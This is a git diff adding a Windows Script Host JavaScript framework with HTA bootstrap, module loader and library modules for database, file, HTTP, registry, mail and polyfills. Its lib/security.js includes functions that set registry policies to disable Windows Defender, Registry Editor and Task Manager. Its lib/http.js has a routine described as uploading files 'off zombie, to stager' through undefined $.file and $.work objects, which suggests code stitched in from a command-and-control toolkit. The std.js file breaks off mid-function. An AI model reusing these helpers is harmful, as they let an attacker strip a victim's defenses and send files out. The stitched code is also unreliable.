diff --git a/app.hta b/app.hta new file mode 100644 index 0000000..14f15d2 --- /dev/null +++ b/app.hta @@ -0,0 +1,56 @@ + + + + + Application Title + + + + +

Hello world!

+ + + + diff --git a/app.js b/app.js new file mode 100644 index 0000000..ac40c14 --- /dev/null +++ b/app.js @@ -0,0 +1,128 @@ +////////////////////////////////////////////////////////////////////////////////// +// +// app.js +// +// Bootstrap code for running a javascript app in windows. Run as: +// +// cscript.js app.js ... +// +///////////////////////////////////////////////////////////////////////////////// +// "use strict"; + +///////////////////////////////////////////////////////////////////////////////// +// Bootstrap code, basic module loading functionality +///////////////////////////////////////////////////////////////////////////////// + +// +// The module loaded is run inside a function, with one argument, global which +// points to the global context. So global.FN is the same as FN (as long as a +// version of FN does not exist in local scope). +// +// The module should return its interface at the end of the script. The basic +// pattern for a module is:- +// +// var module = { ... }; +// return module; +// +// Or:- +// +// return function() { +// } +// +// The appname argument causes .js to be loaded. The interface returned +// must define main = function(args) {}, which is called once the module is +// loaded. + +var console = { + log: function(msg, status) { + if(typeof(window) !== 'undefined') { + alert(msg); + } else if(typeof(WScript) !== 'undefined') { + WScript.echo(msg); + WScript.quit(status); + } + } +}; + +function CreateObject(n) { + return new ActiveXObject(n); +} + +function require(FN) { + var cache = require.__cache = require.__cache || {}; + if (FN.substr(FN.length - 3) !== '.js') FN += ".js"; + if (cache[FN]) return cache[FN]; + var FSO = CreateObject("Scripting.FileSystemObject"); + var T = null; + try { + var TS = FSO.OpenTextFile(FN, 1); + if (TS.AtEndOfStream) return ""; + T = TS.ReadAll(); + TS.Close(); + TS = null; + } catch (e) { + console.log("LOAD ERROR! " + e.number + ", " + e.description + ", FN=" + FN, 1); + return; + } + FSO = null; + T = "(function(global){\n" + '"use strict";' + "\n" + T + "})(this);\n\n////@ sourceURL=" + FN; + try { + cache[FN] = eval(T); + } catch (e) { + console.log("PARSE ERROR! " + e.number + ", " + e.description + ", FN=" + FN, 1); + } + if ("VERSIONINFO" in cache[FN]) console.log(cache[FN].VERSIONINFO); + return cache[FN]; +} + +///////////////////////////////////////////////////////////////////////////////// +// Load script, and call app.main() +///////////////////////////////////////////////////////////////////////////////// + +function init_console() { + var arguments = WScript.arguments; + if (arguments.length > 0) { + var args = []; + for (var i = 0; i < arguments.length; i++) { + args.push(WScript.arguments(i)); + } + var name = args.shift(); + var app = require(name); + if (app) { + if (app.main) { + var exitstatus = app.main.call(app, args); + if (typeof exitstatus != undefined) { + WScript.quit(exitstatus); + } + } else { + console.log("Error, missing main entry point in " + name + ".js", 1); + } + } else { + console.log("Error, cannot find " + name + ".js", 1); + } + } +} + +function init_window(name, args) { + var app = require(name); + if (app) { + if (app.main) { + app.main.call(app, args); + return true; + } else { + return false; + } + } else { + return false; + } +} + +function main() { + if(typeof(window) == 'undefined') { + init_console(); + } else { + console.log("welcome"); + } +} + +main(); diff --git a/app/index.js b/app/index.js new file mode 100644 index 0000000..6f54d34 --- /dev/null +++ b/app/index.js @@ -0,0 +1,18 @@ +/* + * index.js + */ + +var LIB = require('lib/std'); +//var DB = require('lib/db'); + +return { + main: function() { + console.log("welcome index.js"); + + document.getElementById("click1").onclick = function() { + alert("hello world"); + }; + + return 0; + } +} diff --git a/lib/db.js b/lib/db.js new file mode 100644 index 0000000..773428c --- /dev/null +++ b/lib/db.js @@ -0,0 +1,117 @@ +//////////////////////////////////////////////////////////////////////// +// Example Database API +//////////////////////////////////////////////////////////////////////// + +var module = { VERSIONINFO: "Database Module (db.js) version 1.0", global: global }; + +var LIB = require("lib/std"); + +module.open = function(cs) { + var instance = {}; + + // Create a database connection and open the database, setting isolation level + // and timeouts + var open = function(cs) { + try { + instance.Connection = LIB.CreateObject("ADODB.Connection"); + } catch(e) { + DBG("Failed to create ADODB.Connection, error = " + e.number + ", " + e.description); + return; + } + instance.ConnectionString = cs; + instance.Connection.open(instance.ConnectionString); + instance.Connection.IsolationLevel = 256; // Uncommitted Reads + instance.Connection.CommandTimeout = 300; // 5 minute command timeout + }; + + // Open the database + open(cs); + + // Close and re-open the database. + instance.reopen = function() { + instance.Connection.close(); + open(instance.ConnectionString); + }; + + // instance.Query + // Run a read only query on the database. Returns a recordset + instance.query = function(sql) { + var RS = LIB.CreateObject("ADODB.Recordset"); + RS.LockType = 1; // adLockReadOnly + RS.CursorType = 1; // adOpenKeySet + DBG("> " + sql); + RS.Open(sql,instance.Connection); + return RS; + }; + + // instance.exec + // Run a statement (update or insert) and return true if successful + instance.exec = function(sql) { + DBG("> " + sql); + var ok; + try { + ok = instance.Connection.Execute(sql); + } catch(e) { + ok = null; + LIB.emailError(e, sql); + instance.lastError = e; + } + return ok; + }; + + instance.insert = function(table, columns) { + DBG("> insert into " + table + " some data!"); + var RS = LIB.CreateObject("ADODB.Recordset"); + RS.open(table, instance.Connection, 2, 3, 2); + RS.addNew(); + for (var col in columns) { + RS(col).value = columns[col]||null; + } + RS.Update(); + RS.moveLast(); + var id = RS(0).value; + RS.close(); + return id; + }; + + instance.close = function() { + }; + + return instance; +} + +module.blob2Text = function(blobField, charset) { + var stream = LIB.CreateObject("ADODB.Stream"); + stream.Charset = (charset || "us-ascii").replace(/;$/,""); + stream.Type = 1; + stream.Open(); + DBG("WRITE STREAM"); + stream.Write(blobField); + DBG("DONE WRITE STREAM"); + stream.Position = 0; + stream.Type = 2; + var text = stream.ReadText(-1); + stream.Close(); + return text; +}; + +module.saveBlob = function(filename, blobField) { + try { + var stream = LIB.CreateObject("ADODB.Stream"); + stream.Type = 1; + stream.Open(); + stream.Write(blobField); + stream.Position = 0; + stream.saveToFile(filename, 2); + stream.Close(); + return true; + } catch(e) { + DBG("ERROR " + e.number + " saving blob: " + e.description); + } +}; + +module.quoteString = function(s) { + return "'" + s.replace(/\'/g,"''") + "'"; +}; + +return module; diff --git a/lib/file.js b/lib/file.js new file mode 100644 index 0000000..e240d01 --- /dev/null +++ b/lib/file.js @@ -0,0 +1,134 @@ +////////////////////////////////////////////////////////////////////////////////// +// +// file-lib.js +// +// Common routines. Defines LIB object which contains the API, as well as +// a global DBG function. +// +///////////////////////////////////////////////////////////////////////////////// + +var LIB = require('lib/std'); + +///////////////////////////////////////////////////////////////////////////////// +// Private APIs / Utility functions +///////////////////////////////////////////////////////////////////////////////// + +var module = { global: global, require: global.require }; +module.VERSIONINFO = "File Lib (file-libs.js) version 0.1"; + +///////////////////////////////////////////////////////////////////////////////// +// module.fileExists +///////////////////////////////////////////////////////////////////////////////// + +module.fileExists = function(FN) { + var FSO = module.CreateObject("Scripting.FileSystemObject"); + var exists = FSO.FileExists(FN); + FSO = null; + return exists; +}; + +///////////////////////////////////////////////////////////////////////////////// +// module.folderExists +///////////////////////////////////////////////////////////////////////////////// + +module.folderExists = function(FN) { + var FSO = module.CreateObject("Scripting.FileSystemObject"); + var exists = FSO.FolderExists(FN); + FSO = null; + return exists; +}; + +///////////////////////////////////////////////////////////////////////////////// +// module.fileGet +///////////////////////////////////////////////////////////////////////////////// + +module.fileGet = function(FN) { + var FSO = module.CreateObject("Scripting.FileSystemObject"); + var file = FSO.GetFile(FN); + FSO = null; + return file; +}; + +///////////////////////////////////////////////////////////////////////////////// +// module.readFile +// Read the conents of the pass filename and return as a string +///////////////////////////////////////////////////////////////////////////////// + +module.readFile = function(FN) { + var FSO = module.CreateObject("Scripting.FileSystemObject"); + var T = null; + try { + var TS = FSO.OpenTextFile(FN,1); + if (TS.AtEndOfStream) return ""; + T = TS.ReadAll(); + TS.Close(); + TS = null; + } catch(e) { + DBG("ERROR! " + e.number + ", " + e.description + ", FN=" + FN); + } + FSO = null; + return T; +}; + +///////////////////////////////////////////////////////////////////////////////// +// module.writeFile +// Write the passed content to named disk file +///////////////////////////////////////////////////////////////////////////////// + +module.writeFile = function(FN, content, charset) { + var ok; + if (charset) { + DBG("WRITE TO DISK USING ADODB.Stream CHARSET " + charset); + try { + var fsT = module.CreateObject("ADODB.Stream"); + fsT.Type = 2; // save as text/string data. + fsT.Charset = charset; // Specify charset For the source text data. + fsT.Open(); + fsT.WriteText(content); + fsT.SaveToFile(FN, 2); // save as binary to disk + ok = true; + } catch(e) { + DBG("ADODB.Stream: ERROR! " + e.number + ", " + e.description + ", FN=" + FN); + } + } else { + DBG("WRITE TO DISK USING OpenTextFile CHARSET ascii"); + var FSO = module.CreateObject("Scripting.FileSystemObject"); + try { + var TS = FSO.OpenTextFile(FN,2,true,0); // ascii + TS.Write(content); + TS.Close(); + TS = null; + ok = true; + } catch(e) { + DBG("OpenTextFile: ERROR! " + e.number + ", " + e.description + ", FN=" + FN); + } + FSO = null; + } + return ok; +}; + +///////////////////////////////////////////////////////////////////////////////// +// module.moveFile +///////////////////////////////////////////////////////////////////////////////// + +module.moveFile = function(FROM, TO) { + var FSO = module.CreateObject("Scripting.FileSystemObject"); + var res = FSO.MoveFile(FROM, TO); + FSO = null; + return res; +}; + +///////////////////////////////////////////////////////////////////////////////// +// module.createFolder +///////////////////////////////////////////////////////////////////////////////// + +module.createFolder = function(FN) { + var FSO = module.CreateObject("Scripting.FileSystemObject"); + var res = FSO.CreateFolder(FN); + FSO = null; + return res; +}; + +///////////////////////////////////////////////////////////////////////////////// + +return module; diff --git a/lib/http.js b/lib/http.js new file mode 100644 index 0000000..34ca432 --- /dev/null +++ b/lib/http.js @@ -0,0 +1,126 @@ +//////////////////////////////////////////////////////////////////////// +// HTTP API +//////////////////////////////////////////////////////////////////////// + +var module = { VERSIONINFO: "HTTP Module (http.js) version 0.1", global: global }; + +var LIB = require('lib/std'); + +module.create = function() { + var http = null; + + try { + http = LIB.CreateObject("Microsoft.XMLHTTP"); + } catch (e) { + http = LIB.CreateObject("WinHttp.WinHttpRequest.5.1"); + http.setTimeouts(30000, 30000, 30000, 0) + } + + return http; +} + +module.addHeaders = function(http, headers) { + var headers = (typeof(headers) !== "undefined") ? headers : {}; + + var content = false; + for (var key in headers) { + var value = headers[key]; + + http.setRequestHeader(key, value); + if (key.toUpperCase() == "CONTENT-TYPE") + content = true; + } + + if (!content) + http.setRequestHeader("Content-Type", "application/octet-stream"); +}; + +module.post = function(url, data, headers) { + var data = (typeof(data) !== "undefined") ? data : ""; + + var http = module.create(); + + http.open("POST", url, false); + module.addHeaders(http, headers); + http.send(data); + + return http; +}; + +module.get = function(url, headers) { + var http = module.create(); + http.open("GET", url, false); + module.addHeaders(http, headers); + http.send(); + + return http; +}; + +/** + * Upload a file, off zombie, to stager + * + * @param filepath - the full path to the file to send + * @param header_uuid - a unique identifier for this file + * @param header_key - optional HTTP header tag to send uuid over + * + * @return object - the HTTP object + * + **/ +module.upload = function(filepath, header_uuid, header_key) { + var key = (typeof(header_key) !== "undefined") ? header_key : "ETag"; + + var data = $.file.readBinary(filepath); + + // we must replace null bytes or MS will cut off the body + data = data.replace(/\\/g, "\\\\"); + data = data.replace(/\0/g, "\\0"); + + var headers = {}; + headers[key] = header_uuid; + + return $.work.report(data, headers); +}; + +module.download = function(filepath, header_uuid, header_key) { + var key = (typeof(header_key) !== "undefined") ? header_key : "ETag"; + + var headers = {}; + headers[key] = header_uuid; + + return module.downloadEx("POST", $.work.make_url(), headers, filepath); +}; + +module.downloadEx = function(verb, url, headers, path) { + if (verb == "GET") { + var http = module.get(url, headers); + } else { + var http = module.post(url, "", headers); + } + + var stream = LIB.CreateObject("Adodb.Stream"); + stream.Type = 1; + stream.Open(); + stream.Write(http.responseBody); + + var data = module.bin2str(stream); + $.file.write(path, data); +}; + +module.bin2str = function(stream) { + stream.Flush(); + stream.Position = 0; + + var bin = stream.Read(); + var rs = LIB.CreateObject("Adodb.RecordSet"); + rs.Fields.Append("temp", 201, stream.Size); + + rs.Open(); + rs.AddNew(); + rs("temp").AppendChunk(bin); + rs.Update(); + var data = rs.GetString(); + rs.Close(); + return data.substring(0, data.length - 1); +}; + +return module; diff --git a/lib/json.js b/lib/json.js new file mode 100644 index 0000000..f42a30b --- /dev/null +++ b/lib/json.js @@ -0,0 +1,54 @@ +//////////////////////////////////////////////////////////////////////// +// JSON API +//////////////////////////////////////////////////////////////////////// + +var module = { VERSIONINFO: "JSON Module (json.js) version 0.1", global: global }; + +module.stringify = function(obj) { + var items = []; + var isArray = (function(_obj) { + try { + return (_obj instanceof Array); + } catch (e) { + return false; + } + })(obj); + var _toString = function(_obj) { + try { + if(typeof(_obj) == "object") { + return $.json.encode(_obj); + } else { + var s = String(_obj).replace(/"/g, '\\"'); + if(typeof(_obj) == "number" || typeof(_obj) == "boolean") { + return s; + } else { + return '"' + s + '"'; + } + } + } catch (e) { + return "null"; + } + }; + + for(var k in obj) { + var v = obj[k]; + + if(!isArray) { + items.push('"' + k + '":' + _toString(v)); + } else { + items.push(_toString(v)); + } + } + + if(!isArray) { + return "{" + items.join(",") + "}"; + } else { + return "[" + items.join(",") + "]"; + } +}; + +module.parse = function(jsonString) { + return (new Function("return " + jsonString)()); +}; + +return module; diff --git a/lib/registry.js b/lib/registry.js new file mode 100644 index 0000000..ad62273 --- /dev/null +++ b/lib/registry.js @@ -0,0 +1,117 @@ +//////////////////////////////////////////////////////////////////////// +// Registry API +//////////////////////////////////////////////////////////////////////// + +var module = { VERSIONINFO: "Registry Module (registry.js) version 0.1", global: global }; + +// http://apidock.com/ruby/Win32/Registry/Constants +module.HKCR = 0x80000000; +module.HKCU = 0x80000001; +module.HKLM = 0x80000002; + +module.STRING = 0; +module.BINARY = 1; +module.DWORD = 2; +module.QWORD = 3; + +module.provider = function(computer) +{ + var computer = (typeof(computer) !== "undefined") ? computer : "."; + var reg = GetObject("winmgmts:\\\\" + computer + "\\root\\default:StdRegProv"); + return reg; +} + +module.write = function(hKey, path, key, value, valType, computer) +{ + var reg = module.provider(computer); + + reg.CreateKey(hKey, path); + + if (valType == module.STRING) + reg.SetStringValue(hKey, path, key, value); + else if (valType == module.DWORD) + reg.SetDWORDValue(hKey, path, key, value); + else if (valType == module.QWORD) + reg.SetQWORDValue(hKey, path, key, value); + else if (valType == module.BINARY) + reg.SetBinaryValue(hKey, path, key, value); +} + +module.read = function(hKey, path, key, valType, computer) +{ + var reg = module.provider(computer); + + var methodName = ""; + if (valType == module.STRING) + methodName = "GetStringValue"; + else if (valType == module.DWORD) + methodName = "GetDWORDValue"; + else if (valType == module.QWORD) + methodName = "GetQWORDValue"; + else if (valType == module.BINARY) + methodName = "GetBinaryValue"; + + if (methodName == "") + return; + + var method = reg.Methods_.Item(methodName); + var inparams = method.InParameters.SpawnInstance_(); + + inparams.hDefKey = hKey; + inparams.sSubKeyName = path; + inparams.sValueName = key; + + var outparams = reg.ExecMethod_(method.Name, inparams); + + return outparams; +} + +module.destroy = function(hKey, path, key, computer) +{ + var reg = module.provider(computer); + var loc = (key == "") ? path : path + "\\" + key; + return reg.DeleteKey(hKey, loc); +} + +/* +// DEPRECATED +module.create = function(hiveKey, path, key, computer) +{ + var computer = (typeof(computer) !== "undefined") ? computer : "."; + var sw = new ActiveXObject("WbemScripting.SWbemLocator"); + var root = sw.ConnectServer(computer, "root\\default"); + var reg = root.get("StdRegProv"); + + var enumKey = reg.Methods_.Item("EnumKey"); + + var inParams = enumKey.InParameters.SpawnInstance_(); + inParams.hDefKey = hiveKey; + inParams.sSubKeyName = path; + + var outParam = reg.ExecMethod_(enumKey.Name, inParams); + + if (outParam.ReturnValue != 0) + return false; + + if (outParam.sNames) + { + var subKeys = outParam.sNames.toArray(); + + for (var i = 0; i < subKeys.length; ++i) + { + if (subkeys[i].toUpperCase() == key.toUpperCase()) + return true; + } + } + + var createKey = reg.Methods_.Item("CreateKey"); + var createArgs = createKey.InParameters.SpawnInstance_(); + createArgs.hDefKey = hiveKey; + createArgs.sSubKeyName = path + "\\" + key; + + var createRet = reg.ExecMethod_(createKey.Name, createArgs); + return createRet.returnValue == 0; +} +*/ + +return module; diff --git a/lib/security.js b/lib/security.js new file mode 100644 index 0000000..4515589 --- /dev/null +++ b/lib/security.js @@ -0,0 +1,40 @@ +//////////////////////////////////////////////////////////////////////// +// Security API +//////////////////////////////////////////////////////////////////////// + +var module = { VERSIONINFO: "Security Module (security.js) version 0.1", global: global }; +var registry = require("registry"); + +module.DISABLED = 0x00000001; +module.ENABLED = 0x00000000; + +// check 'run as administrator' +module.isElevated = function() { + try { + WS.RegRead("HKEY_USERS\\s-1-5-19\\"); + return true; + } catch(e) { + return false; + } +} + +// turn on/off Windows Defender +module.setAntiSpyware = function(buffer) { + var path = "SOFTWARE\\Policies\\Microsoft\\Windows Defender"; + var key = "DisableAntiSpyware"; + registry.write(registry.HKLM, path, key, buffer, registry.DWORD); +} + +// trun on/off Registry Editor (regedit) +module.setRegedit = function(buffer) { + var path = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System"; + var key = "DisableRegistryTools"; + registry.write(registry.HKLM, path, key, buffer, registry.DWORD); +} + +// turn on/off Task Manager (taskmgr) +module.setTaskmgr = function(buffer) { + var path = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System"; + var key = "DisableTaskMgr"; + registry.write(registry.HKLM, path, key, buffer, registry.DWORD); +} diff --git a/lib/sendmail.js b/lib/sendmail.js new file mode 100644 index 0000000..f5ea9c2 --- /dev/null +++ b/lib/sendmail.js @@ -0,0 +1,109 @@ +////////////////////////////////////////////////////////////////////////////////// +// +// sendmail.js +// +// Sendmail using either CDO or Persits.MailSender +// +///////////////////////////////////////////////////////////////////////////////// + +var LIB = require('lib/std'); + +///////////////////////////////////////////////////////////////////////////////// +// Private APIs / Utility functions +///////////////////////////////////////////////////////////////////////////////// + +var module = { global: global, require: global.require }; +module.VERSIONINFO = "sendmail Lib (sendmail.js) version 0.1"; + +///////////////////////////////////////////////////////////////////////////////// +// Send Mail Message +///////////////////////////////////////////////////////////////////////////////// + +module.sendmail = function(msg) { + var ok, MAIL; + + DBG("SENDMAIL: " + msg.To); + + // Which method we use depends on the system. On some versions of + // Persits.MailSender it does not support adding of Message-ID + // so we have to use CDO (which is the preferred option anyway). + if (module.usePersitsMailSender) { + + // Use Persits AspEmail to send mail + try { + MAIL = module.CreateObject("Persits.MailSender"); + } catch(e) { + DBG("ERROR " + e.number + ", " + e.description); + throw e; + } + + DBG("USING PERSITS MAIL SENDER"); + DBG("MAIL FROM " + msg.From); + DBG("MAIL TO " + msg.To); + DBG("SUBJECT " + msg.Subject); + + MAIL.Host = msg.MAILHOST; + MAIL.From = msg.From; + if (msg.Name) MAIL.FromName = msg.Name; + MAIL.AddAddress(msg.To); + MAIL.Subject = msg.Subject; + if (msg.cc) MAIL.AddCC(msg.Cc); + MAIL.IsHTML = msg.IsHTML; + MAIL.Body = msg.Body; + MAIL.addCustomHeader("Reply-To: <" + msg.ReplyTo + ">"); + DBG("Reply-To: <" + msg.ReplyTo + ">"); + if (msg.id) { + DBG("Message-ID: <" + msg.id + ">"); + MAIL.addCustomHeader("Message-ID: <" + msg.id + ">"); + } + + } else { + + // Use CDO objects to send mail. Setup SMTP server details. + var CONF = LIB.CreateObject("CDO.Configuration"); + CONF.Fields("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2; + CONF.Fields("http://schemas.microsoft.com/cdo/configuration/smtpserver") = msg.MAILHOST; + CONF.Fields("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = msg.MAILPORT || 25; + CONF.Fields("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 0; + CONF.Fields("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = 0; + CONF.Fields.Update(); + + // Create the email message + MAIL = LIB.CreateObject("CDO.Message"); + MAIL.Configuration = CONF; + CONF = null; + if (msg.Name) { + MAIL.From = '"' + msg.Name + '" <' + msg.From + '>'; + } else { + MAIL.From = msg.From; + } + MAIL.To = msg.To; + if (msg.Cc) MAIL.Cc = msg.cc; + MAIL.Subject = msg.Subject; + MAIL.Fields("urn:schemas:mailheader:reply-to") = "<" + msg.ReplyTo + ">"; + MAIL.Fields("urn:schemas:mailheader:message-id") = "<" + msg.id + ">"; + if (msg.IsHTML) { + MAIL.HTMLBody = msg.Body; + } else { + MAIL.TextBody = msg.Body; + } + MAIL.Fields.Update(); + } + + try { + DBG("Sending email To " + msg.To + (msg.Cc ? " (Cc " + msg.Cc + ")" : "")); + MAIL.Send(); + ok = true; + } catch(e) { + DBG(e.number + "," + e.description); + ok = false; + DBG("failed"); + } + + MAIL = null; + return ok; +}; + +///////////////////////////////////////////////////////////////////////////////// + +return module; diff --git a/lib/std.js b/lib/std.js new file mode 100644 index 0000000..96ad6b4 --- /dev/null +++ b/lib/std.js @@ -0,0 +1,182 @@ +////////////////////////////////////////////////////////////////////////////////// +// +// std.js +// +// Common routines. Defines LIB object which contains the API, as well as +// a global DBG function. +// +// References +// * https://github.com/redskyit/wsh-appjs +// * https://github.com/JSman-/JS-Framework +// +///////////////////////////////////////////////////////////////////////////////// + +///////////////////////////////////////////////////////////////////////////////// +// Global APIs +///////////////////////////////////////////////////////////////////////////////// + +Function.prototype.GetResource = function(ResourceName) +{ + if (!this.Resources) + { + var UnNamedResourceIndex = 0, _this = this; + this.Resources = {}; + + function f(match, resType, Content) + { + _this.Resources[(resType=="[[")?UnNamedResourceIndex++:resType.slice(1,-1)] = Content; + } + this.toString().replace(/\/\*(\[(?:[^\[]+)?\[)((?:[\r\n]|.)*?)\]\]\*\//gi, f); + } + + return this.Resources[ResourceName]; +} + +global.GetResource = function(ResourceName) +{ + return arguments.callee.caller.GetResource(ResourceName); +} + +global.sleep = function(ms, callback) { + WScript.Sleep(ms); + if(typeof(callback) == "function") { + callback(); + } +} + +global.exit = function() { + WScript.Quit(); +} + +if (!('toArray' in Enumerator.prototype)) { + Enumerator.prototype.toArray = function() { + var Result = []; + for (;!this.atEnd();this.moveNext()) + Result.push(this.item()) + return Result; + } +} + +if (!('forEach' in Enumerator.prototype)) { + Enumerator.prototype.forEach = function(action, that /*opt*/) { + this.toArray().forEach(action, that); + } +} + +// Add ECMA262-5 method binding if not supported natively +if (!('bind' in Function.prototype)) { + Function.prototype.bind = function(owner) { + var that= this; + if (arguments.length<=1) { + return function() { + return that.apply(owner, arguments); + }; + } else { + var args= Array.prototype.slice.call(arguments, 1); + return function() { + return that.apply(owner, arguments.length===0? args : args.concat(Array.prototype.slice.call(arguments))); + }; + } + }; +} + +// Add ECMA262-5 string trim if not supported natively +// +if (!('trim' in String.prototype)) { + String.prototype.trim = function() { + return this.replace(/^\s+/, '').replace(/\s+$/, ''); + }; +} + +// Add ECMA262-5 Array methods if not supported natively +// +if (!('indexOf' in Array.prototype)) { + Array.prototype.indexOf = function(find, i /*opt*/) { + if (i===undefined) i= 0; + if (i<0) i+= this.length; + if (i<0) i= 0; + for (var n= this.length; ithis.length-1) i= this.length-1; + for (i++; i-->0;) /* i++ because from-argument is sadly inclusive */ + // if (i in this && this[i]===find) + if (this[i]===find) + return i; + return -1; + }; +} + +if (!('forEach' in Array.prototype)) { + Array.prototype.forEach = function(action, that /*opt*/) { + for (var i= 0, n= this.length; i